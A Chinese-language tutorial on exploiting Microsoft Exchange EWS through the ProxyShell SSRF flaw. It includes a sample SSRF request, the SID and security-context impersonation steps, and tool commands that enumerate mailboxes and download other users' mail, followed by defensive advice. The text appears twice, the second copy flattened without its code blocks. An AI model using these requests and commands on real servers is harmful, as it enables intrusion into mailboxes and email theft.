Exchange EWS接口的利用
字数 1106 2025-08-09 16:00:17

Exchange EWS接口利用技术详解

一、背景概述

Exchange Server的EWS(Exchange Web Services)接口是一个强大的API,允许程序与Exchange服务器进行交互。近期发现的Exchange preauth漏洞(如Proxylogon、Proxyshell)本质上是SSRF漏洞,可通过这些漏洞访问需要授权的EWS接口。

EWS接口URI通常为:exchange.com/ews/exchange.asmx

二、SSRF漏洞利用EWS接口

1. 基本利用原理

通过SSRF漏洞(如Proxyshell)访问EWS接口的示例请求:

GET /autodiscover/autodiscover.json?a=a@edu.edu/ews/exchange.asmx?X-Rps-CAT=&Email=autodiscover/autodiscover.json?a=a@edu.edu HTTP/2
Host: mail.Exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 0

2. 关键问题解决

直接发送XML数据包调用接口会失败,因为SSRF后是system身份,Exchange不知道具体用户身份。解决方案:

  1. 通过autodiscover+emsmdb获取SID
  2. 在SOAP头中指定SerializedSecurityContext

三、自动化利用流程

1. 前置步骤

  1. 获取LegacyDN
  2. 获取SID
  3. 将SID添加到SOAP header头

2. 功能模块

(1) 用户爆破

输入文件示例(/tmp/emails.txt):

admin@exchange.com
test@exchange.com
jumbo@exchange.com
ceshi@exchange.com
support@exchange.com

执行命令:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt

输出示例:

admin@exchange.com valid
support@exchange.com valid

(2) 搜索联系人

执行命令:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Search --email validuser@exchange.com --keyword test

输出示例:

Board.Test@exchange.com
LTSTest@exchange.com

(3) 下载邮件

执行命令:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email userwantdown@exchange.com

输出示例:
[+] Item [output/item-0.eml] saved successfully

四、NTLM HASH利用

当只有NTLM HASH且无法解密密码时,仍可利用EWS接口:

  1. 使用相同的接口调用方式
  2. 增加NTLM认证步骤
  3. 减少header头(相比SSRF方式)

五、技术要点总结

  1. 身份上下文:SSRF后是system身份,必须通过SerializedSecurityContext指定具体用户
  2. 前置信息收集:需要先获取LegacyDN和SID
  3. SOAP协议:EWS接口基于SOAP协议,需要构造特定格式的XML请求
  4. 功能多样性:可通过不同SOAP操作实现多种功能(用户枚举、搜索、邮件下载等)
  5. 认证方式:支持SSRF绕过认证和NTLM HASH认证两种方式

六、防御建议

  1. 及时修补Proxylogon、Proxyshell等SSRF漏洞
  2. 监控对EWS接口的异常访问
  3. 限制autodiscover服务的访问权限
  4. 实施多因素认证,降低NTLM HASH泄露风险
  5. 定期审计Exchange服务器日志,特别是EWS接口调用记录

七、参考资源

  1. Microsoft EWS Reference
  2. 文中提到的工具将在Github仓库公开(需关注后续更新)
Exchange EWS接口利用技术详解 一、背景概述 Exchange Server的EWS(Exchange Web Services)接口是一个强大的API,允许程序与Exchange服务器进行交互。近期发现的Exchange preauth漏洞(如Proxylogon、Proxyshell)本质上是SSRF漏洞,可通过这些漏洞访问需要授权的EWS接口。 EWS接口URI通常为: exchange.com/ews/exchange.asmx 二、SSRF漏洞利用EWS接口 1. 基本利用原理 通过SSRF漏洞(如Proxyshell)访问EWS接口的示例请求: 2. 关键问题解决 直接发送XML数据包调用接口会失败,因为SSRF后是system身份,Exchange不知道具体用户身份。解决方案: 通过autodiscover+emsmdb获取SID 在SOAP头中指定 SerializedSecurityContext 三、自动化利用流程 1. 前置步骤 获取LegacyDN 获取SID 将SID添加到SOAP header头 2. 功能模块 (1) 用户爆破 输入文件示例(/tmp/emails.txt): 执行命令: 输出示例: (2) 搜索联系人 执行命令: 输出示例: (3) 下载邮件 执行命令: 输出示例: [ +] Item [ output/item-0.eml ] saved successfully 四、NTLM HASH利用 当只有NTLM HASH且无法解密密码时,仍可利用EWS接口: 使用相同的接口调用方式 增加NTLM认证步骤 减少header头(相比SSRF方式) 五、技术要点总结 身份上下文 :SSRF后是system身份,必须通过SerializedSecurityContext指定具体用户 前置信息收集 :需要先获取LegacyDN和SID SOAP协议 :EWS接口基于SOAP协议,需要构造特定格式的XML请求 功能多样性 :可通过不同SOAP操作实现多种功能(用户枚举、搜索、邮件下载等) 认证方式 :支持SSRF绕过认证和NTLM HASH认证两种方式 六、防御建议 及时修补Proxylogon、Proxyshell等SSRF漏洞 监控对EWS接口的异常访问 限制autodiscover服务的访问权限 实施多因素认证,降低NTLM HASH泄露风险 定期审计Exchange服务器日志,特别是EWS接口调用记录 七、参考资源 Microsoft EWS Reference 文中提到的工具将在Github仓库公开(需关注后续更新)